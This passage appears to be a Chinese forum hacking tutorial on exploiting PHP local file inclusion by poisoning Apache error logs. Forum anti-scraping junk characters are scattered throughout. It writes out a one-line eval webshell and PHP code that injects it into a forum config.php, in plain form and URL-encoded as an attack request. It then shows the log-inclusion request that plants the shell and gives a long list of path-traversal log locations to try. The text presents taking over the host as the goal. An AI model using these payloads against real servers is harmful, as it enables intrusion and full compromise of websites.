因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
; m' Q) G- R: R/ w2 m
, O8 a f. V+ Y# t# }* d比如还是这句一句话木马
' j" @2 n: Q# s<?eval($_POST[cmd]);?> * U0 V$ n) c/ Q- W) @- l
' A+ M* r* z! m
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 5 X5 q" A9 ?3 |* ^
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
3 D- K) {" K7 G" C8 I) p0 X- F8 [
]; s& `8 x( X, I8 ?<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); @0 m0 X$ S$ ?/ s, x! L
fclose($fp);?> //在config.php里写入一句木马语句
, m) C6 L4 b8 J
" `( k# V* U* h c& M- N! P, [7 [6 g我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 * P# i# N1 u6 x! W2 |7 r8 M/ {6 [
转换为
8 o5 }- y3 K4 B3 `%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
" N" d; [+ W* t1 C. d- ]config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
( U- `- n0 Q9 n; J%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
+ d) Z4 s: }6 }fclose%28%24fp%29%3B%3F%3E
, x; i x1 o+ ~% n9 W8 _我们提交 * f5 a) h6 s6 {1 a
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
: h. _) S6 b8 ~1 r* v%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
5 s5 ]$ r) r$ k/ y- C, q. J%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B 1 T( `& y$ v5 d) \4 X; v
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
4 l. \/ ~0 }$ C5 Z3 y( R, B( Z+ T; ?- v7 }
这样就错误日志里就记录下了这行写入webshell的代码。 ! L4 Q9 j/ N) o4 d9 Z l7 L0 m
我们再来包含日志,提交
: [: `4 y! y$ r. s' B7 ihttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log ! g$ g) k- |+ r |' V' `# x, g5 P4 j
, u' ?9 E; F l' Y" o$ ^8 t这样webshell就写入成功了,config.php里就写入一句木马语句
+ o" e0 `* [ N4 E$ jOK.
# ]" u1 Z5 x# r/ S8 X0 ihttp://www.xxx.com/forum/config.php这个就成了我们的webshell
9 Q) e0 h% `+ ^- S5 d直接用lanker的客户端一连,主机就是你的了。
$ p5 L& y; W7 u
# n3 q8 I3 Y6 W) b. vPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
( O) ^& \' R/ G" M% m$ Z4 W( b6 r% ^. C+ L8 i* x% c% `. o
其他的日志路径,你可以去猜,也可以参照这里。 & P) n1 B; k8 Y$ y& G+ H* X4 `4 p
../../../../../../../../../../var/log/httpd/access_log # _# I+ Q9 E% X; e1 _
../../../../../../../../../../var/log/httpd/error_log
5 e8 l. D% }. E$ F3 }1 k../apache/logs/error.log
9 {; \8 s. ]# F../apache/logs/access.log 5 c5 N: F U; E/ v- V! ?: s/ P
../../apache/logs/error.log ; s1 \' v4 s# f- P1 \1 [+ s9 }
../../apache/logs/access.log
/ M# K- t7 X& a& ^' B7 [3 Q1 S../../../apache/logs/error.log
+ g8 ]7 ]) H8 u6 I: G* B../../../apache/logs/access.log # b: L, t/ Y7 \. s
../../../../../../../../../../etc/httpd/logs/acces_log : {2 s3 F! T2 n1 a* C. { A
../../../../../../../../../../etc/httpd/logs/acces.log & M0 a1 y( U3 n
../../../../../../../../../../etc/httpd/logs/error_log 6 n* h$ ?& Z1 ~: W" P6 T
../../../../../../../../../../etc/httpd/logs/error.log
( T6 y$ D# H1 }" N4 d$ h7 i# ~4 H../../../../../../../../../../var/www/logs/access_log ) W H* a$ }: p$ \
../../../../../../../../../../var/www/logs/access.log 8 k e( x7 ]; k; E3 T' T- m
../../../../../../../../../../usr/local/apache/logs/access_log
2 F! U; I4 ^, k../../../../../../../../../../usr/local/apache/logs/access.log # j& b. z5 @. @4 e) o3 p7 ?( j" I3 ~
../../../../../../../../../../var/log/apache/access_log 1 E/ l/ R& J+ n0 `" a# @+ [- l
../../../../../../../../../../var/log/apache/access.log ; X( R0 n8 I" w
../../../../../../../../../../var/log/access_log
, W9 h+ E" U& x# v( Q. ^../../../../../../../../../../var/www/logs/error_log $ A' D1 |- W7 m* P0 M
../../../../../../../../../../var/www/logs/error.log 2 p2 h4 t: R: G% [. f* }
../../../../../../../../../../usr/local/apache/logs/error_log
$ G7 z6 U8 A0 p5 I../../../../../../../../../../usr/local/apache/logs/error.log
% h, v8 e$ r) X* f../../../../../../../../../../var/log/apache/error_log
$ ]2 D: x' l# h- ^4 N! i' \../../../../../../../../../../var/log/apache/error.log 2 U2 z4 Z! Z9 }1 `) R+ p1 w
../../../../../../../../../../var/log/access_log 8 V0 o3 w$ I$ r
../../../../../../../../../../var/log/error_log % D$ {( E4 R9 V# l ~; n* q; i9 O" |
/var/log/httpd/access_log
) [/ B) m( k) Q5 @6 H5 o: W/var/log/httpd/error_log
9 h- B3 O6 R! U% ]1 Q../apache/logs/error.log
2 a/ o& h; K& b6 c../apache/logs/access.log 8 D+ [- {8 J( L O; y- I9 Y
../../apache/logs/error.log
- z ^0 v1 G: [' n8 M3 S! a9 m3 z../../apache/logs/access.log 2 \- F( L; E: e# c
../../../apache/logs/error.log 7 @7 g9 c0 {% R- W5 f
../../../apache/logs/access.log + [7 [4 l/ y' r
/etc/httpd/logs/acces_log
8 m2 P" @% V# y/etc/httpd/logs/acces.log
8 X8 ~# A, j; ]' }/etc/httpd/logs/error_log
) f$ F0 [% K+ h d3 \6 y/etc/httpd/logs/error.log
0 }! D8 ~2 l% |$ g$ k/var/www/logs/access_log 1 S1 [: y: u: o; O
/var/www/logs/access.log 4 R) T4 e" U! B$ ]- v' o
/usr/local/apache/logs/access_log
* X9 E, C3 n" x/usr/local/apache/logs/access.log " r' v4 q* j7 v0 e2 o6 x
/var/log/apache/access_log
5 U# U2 }% o' V9 G9 n/var/log/apache/access.log
t' Y& C" |3 S b/var/log/access_log ; b3 @! O3 S: s* }4 F2 m% Z
/var/www/logs/error_log 1 P2 N# E) I% k2 r$ k$ G( A0 v
/var/www/logs/error.log
3 `7 d2 s+ o: {) d/usr/local/apache/logs/error_log
1 V) z0 R; T% }7 {/usr/local/apache/logs/error.log 6 y+ l; R R! u8 Q; Z
/var/log/apache/error_log
; r9 k9 t6 X4 r5 L; E2 |8 G/var/log/apache/error.log Y$ T4 U: P; f
/var/log/access_log 0 [! t. N- ?& r/ A
/var/log/error_log |